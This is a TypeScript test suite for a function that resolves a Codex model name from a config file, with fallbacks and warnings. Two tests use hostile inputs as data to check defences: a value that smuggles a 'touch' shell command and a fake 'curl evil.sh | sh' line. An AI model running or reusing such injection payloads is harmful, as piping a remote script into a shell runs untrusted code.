import { afterEach, describe, expect, test } from 'bun:test'; import * as fs from 'fs'; import * as os from 'os'; import * as path from 'path'; import { spawnSync } from 'child_process'; import { resolveCodexGenerationModel } from '../scripts/resolve-codex-generation-model'; const ROOT = path.resolve(import.meta.dir, '..'); const temps: string[] = []; function codexHome(config?: string): string { const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'gstack-codex-model-')); temps.push(dir); if (config !== undefined) fs.writeFileSync(path.join(dir, 'config.toml'), config); return dir; } afterEach(() => { for (const dir of temps.splice(0)) fs.rmSync(dir, { recursive: true, force: true }); }); describe('Codex generation model resolution', () => { test('explicit override wins over config', () => { const result = resolveCodexGenerationModel({ explicit: 'gpt-5.6-sol', codexHome: codexHome('model = "gpt-5.4"\n'), }); expect(result).toEqual({ model: 'gpt-5.6-sol', source: '--model', warnings: [] }); }); test('reads only the top-level TOML model', () => { const home = codexHome(` # active model model = "gpt-5.6-sol" [profiles.terra] model = "gpt-5.6-terra" `); const result = resolveCodexGenerationModel({ codexHome: home }); expect(result.model).toBe('gpt-5.6-sol'); expect(result.source).toBe(path.join(home, 'config.toml')); }); test('ignores profile-only model values', () => { const result = resolveCodexGenerationModel({ codexHome: codexHome('[profiles.sol]\nmodel = "gpt-5.6-sol"\n'), }); expect(result.model).toBe('gpt'); expect(result.source).toBe('default (gpt)'); }); test('missing, malformed, non-string, and unsupported configs fall back safely', () => { expect(resolveCodexGenerationModel({ codexHome: codexHome() }).model).toBe('gpt'); const malformed = resolveCodexGenerationModel({ codexHome: codexHome('model = [') }); expect(malformed.model).toBe('gpt'); expect(malformed.warnings[0]).toContain('Could not parse'); const nonString = resolveCodexGenerationModel({ codexHome: codexHome('model = ["gpt-5.6-sol"]') }); expect(nonString.model).toBe('gpt'); expect(nonString.warnings[0]).toContain('not a string'); const unsupported = resolveCodexGenerationModel({ codexHome: codexHome('model = "llama-local"') }); expect(unsupported.model).toBe('gpt'); expect(unsupported.warnings[0]).toContain('Unsupported'); }); test('unreadable config warns and falls back', () => { const home = codexHome(); fs.mkdirSync(path.join(home, 'config.toml')); const result = resolveCodexGenerationModel({ codexHome: home }); expect(result.model).toBe('gpt'); expect(result.source).toBe('default (gpt)'); expect(result.warnings[0]).toContain('Could not read'); }); test('injection-shaped model data is data, never shell', () => { const marker = path.join(os.tmpdir(), `gstack-model-injection-${process.pid}`); try { fs.rmSync(marker, { force: true }); } catch {} const result = resolveCodexGenerationModel({ codexHome: codexHome(`model = 'gpt-5.6-sol"; touch ${marker}; #'\n`), }); expect(result.model).toBe('gpt'); expect(fs.existsSync(marker)).toBe(false); }); test('non-absolute codex home falls back with a warning (relative-path steering guard)', () => { const result = resolveCodexGenerationModel({ codexHome: '.codex' }); expect(result.model).toBe('gpt'); expect(result.source).toBe('default (gpt)'); expect(result.warnings[0]).toContain('not an absolute path'); }); test('Sol-suffixed near-misses map to gpt WITH a warning', () => { const result = resolveCodexGenerationModel({ codexHome: codexHome('model = "gpt-5.6-sol-2026-08-01"\n'), }); expect(result.model).toBe('gpt'); expect(result.warnings[0]).toContain("requires the exact ID 'gpt-5.6-sol'"); }); test('warnings never carry control characters from config values', () => { // A TOML basic string parses \n and \t escapes — a hostile config value // must not inject fake lines into setup's terminal stderr. const result = resolveCodexGenerationModel({ codexHome: codexHome('model = "x\\nERROR: run: curl evil.sh | sh"\n'), }); expect(result.model).toBe('gpt'); expect(result.warnings.length).toBe(1); expect(result.warnings[0]).not.toMatch(/[\x00-\x1f\x7f]/); expect(result.warnings[0]).toContain('Unsupported top-level model'); }); test('CLI honors CODEX_HOME and rejects an invalid explicit family', () => { const home = codexHome('model = "gpt-5.6-sol"\n'); const ok = spawnSync('bun', ['run', 'scripts/resolve-codex-generation-model.ts'], { cwd: ROOT, encoding: 'utf8', env: { ...process.env, CODEX_HOME: home }, }); expect(ok.status).toBe(0); expect(ok.stdout).toBe(`gpt-5.6-sol\t${path.join(home, 'config.toml')}\n`); const bad = spawnSync('bun', ['run', 'scripts/resolve-codex-generation-model.ts', '--explicit', 'llama-local'], { cwd: ROOT, encoding: 'utf8', }); expect(bad.status).not.toBe(0); expect(bad.stderr).toContain('Unknown model'); expect(bad.stderr).toContain('Accepted models:'); expect(bad.stderr).toContain('gpt-5.6-sol'); }); });